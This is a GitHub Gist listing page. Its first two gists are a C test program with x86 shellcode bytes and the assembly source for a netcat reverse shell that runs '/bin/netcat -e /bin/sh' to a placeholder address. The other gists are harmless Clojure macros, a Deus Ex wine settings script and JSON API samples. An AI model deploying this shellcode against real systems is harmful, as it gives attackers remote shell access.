Skip to content

Instantly share code, notes, and snippets.

@Morgawr
Morgawr / shellcode.c
Last active February 18, 2017 23:42
C program to test a netcat reverse shell exploit
char shellcode[] = "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46"
"\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e"
"\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31"
"\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41"
"\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";
int main()
{
@Morgawr
Morgawr / netcat-shellcode.asm
Last active June 21, 2017 10:19
Asm code for a netcat reverse shellcode in x86
jmp short forward
back:
pop esi
xor eax, eax
mov byte [esi + 11], al ; terminate /bin/netcat
mov byte [esi + 14], al ; terminate -e
mov byte [esi + 22], al ; terminate /bin/sh
mov byte [esi + 38], al ; terminate 127.127.127.127
mov byte [esi + 43], al ; terminate 9999
mov long [esi + 44], esi ; address of /bin/netcat in AAAA
(defmacro let-keys [bindings & body]
(let [into-keys (fn [[k v]] [{:keys k} v])
key-bindings (->> bindings
(partition-all 2)
(mapcat into-keys))]
`(let [~@key-bindings] ~@body)))
(def my-map { :var1 1
:another 2
:hello "world" })
@Morgawr
Morgawr / Foreach loop in Clojure
Created November 5, 2013 17:38
I created a monster
(defmacro foreach
[bind _ coll _ & body]
`(doseq [~bind ~coll] ~@body))
; example
(foreach n in [1 2 3 4 5 6] do
(println (* n n )))
;prints 1 4 9 16 25 36 nil
@Morgawr
Morgawr / SetDeusEx.sh
Created February 9, 2013 14:18
Run this file in the root folder of the Deus Ex game (not the System folder!!) to adjust the settings to work properly on Linux with wine
#!/bin/bash
# Patch settings to make the game work properly on OpenGL devices
ini="System/DeusEx.ini"
splitline=$(awk '$0 ~ str{print NR FS b}{}' str="OpenGLDrv.OpenGLRenderDevice" $ini)
line="FrameRateLimit=60"
# Add OpenGL framelimit setting
head -n $splitline $ini > __first
tail -n +$(expr $splitline + 1) $ini > __last
echo $line | cat __first - __last > $ini
{
"a_new_beginning" : {
"md5" : "e712ee2a17beade425d3af90870a49d7",
"url" : "http://www.gogonlinux.com/scripts/launch_a_new_beginning"
}
}
@Morgawr
Morgawr / gogonlinux_repository.json
Last active December 12, 2015 07:49
Example of the gogonlinux repository API
{
"a_new_beginning": {
"title" : "A New Beginning - Final Cut",
"cover_url" : "http://static.gog.com/upload/images/2012/12/16403a7b1f05be43ce6d76c92d823dfcddb1b4df_bb_20.jpg",
"install_script" : "http://www.gogonlinux.com/scripts/install_a_new_beginning",
"uninstall_script" : "404",
"launch_script" : "http://www.gogonlinux.com/scripts/launch_a_new_beginning",
"emulation" : "wine",
"gog_page" : "http://www.gog.com/gamecard/a_new_beginning",
"compat":"yellow",